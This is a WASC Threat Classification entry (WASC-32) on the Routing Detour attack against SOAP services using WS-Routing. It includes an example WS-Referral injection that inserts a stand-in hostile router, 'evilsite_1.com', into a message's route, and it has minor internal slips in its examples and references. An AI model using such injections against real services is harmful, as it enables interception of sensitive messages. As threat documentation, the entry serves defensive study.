Routing Detour


Project: WASC Threat Classification

Threat Type: Attack

Reference ID: WASC-32

 

Routing Detour

The WS-Routing Protocol (WS-Routing) is a protocol for exchanging SOAP messages from an initial message sender to an ultimate receiver, typically via a set of intermediaries. The WS-Routing protocol is implemented as a SOAP extension, and is embedded in the SOAP Header. WS-Routing is often used to provide a way to direct XML traffic through complex environments and transactions by allowing interim way stations in the XML path to assign routing instructions to an XML document.

 

Routing Detours are a type of "Man in the Middle" attack where Intermediaries can be injected or "hijacked" to route sensitive messages to an outside location. Routing information (either in the HTTP header or in WS-Routing header) can be modified en route and traces of the routing can be removed from the header and message such that the receiving application none the wiser that a routing detour has occurred. The header and the insertion of header objects is often less protected than the message; this is due to the fact that the header is used as a catch all for metadata about the transaction such as authentication, routing, formatting, schema, canonicalization, namespaces, etc. Also, many processes may be involved in adding to/processing the header of an XML document. In many implementations the routing info can come from an external web service (using WS-Referral for example) that provides the specific routing for the transaction.

 

WS-Addressing is a newer standard published by the W3C to provide routing functionality to SOAP messages. One of the key differences between WS-Routing and WS-Addressing is that WS-Addressing only provides the next location in the route. While little research has been done into the susceptibility of WS-Addressing to Routing Detour Attack, at least one paper (see reference #6 below) suggests that WS-Addressing is vulnerable to Routing Detour as well.

 

WS Routing Example

Here is an example SOAP call from a client, example_1.com, to a target, example_4.com, via 2 intermediaries, example_2.com & example_3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction, ie. a server.)

 

Example SOAP message with Routing information in header:

<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_1.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

Example of a WS-Referral message to add an additional node (example_3.com/router) to the XML path.

<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://example_3.com/router</r:via>
</r:go>
</r:ref>

 

Resulting in the following SOAP Header:

<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_1.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

The attacker in the following example has the ability to inject a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that he/she has targeted.

 

Example of WS-Referral based WS-Routing injection of the bogus node route:

<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://evilsite_1.com/router</r:via>
</r:go>
</r:ref>

Resulting Routing Detour attack:

<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://evilesite_1.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

Thus, using Routing Detour, the attacker can route the XML message to a hacker controlled node (and access to the message contents).

 

References

WS-Routing Specification

[1] http://msdn.microsoft.com/en-us/library/ms951272.aspx

 

Attacking and Defending Web Services, Pete Lindstrom

[2] http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf

 

Web Services Hacking: From Progress Software's Actional Whitepapers on Web Service Risks

[3] http://www.actional.com/resources/whitepapers/Web-Service-Risks/Web-Services-Hacking.html

 

Threat Protection in a Service Oriented World, Andre Yee, CEO

[4] http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf

 

WS-Addressing Working Group (W3C)

[5] http://www.w3.org/2002/ws/addr/

 

Web Services Referral Protocol (WS-Referral) Global XML Web Services Specifications

[6] http://msdn.microsoft.com/en-us/library/ms951244.aspx

 

Anatomy of a Web Services Attack, Walid Negm (Forum Systems)

[7] http://www.forumsys.com/resources/resources/whitepapers/Anatomy_of_Attack_wp.pdf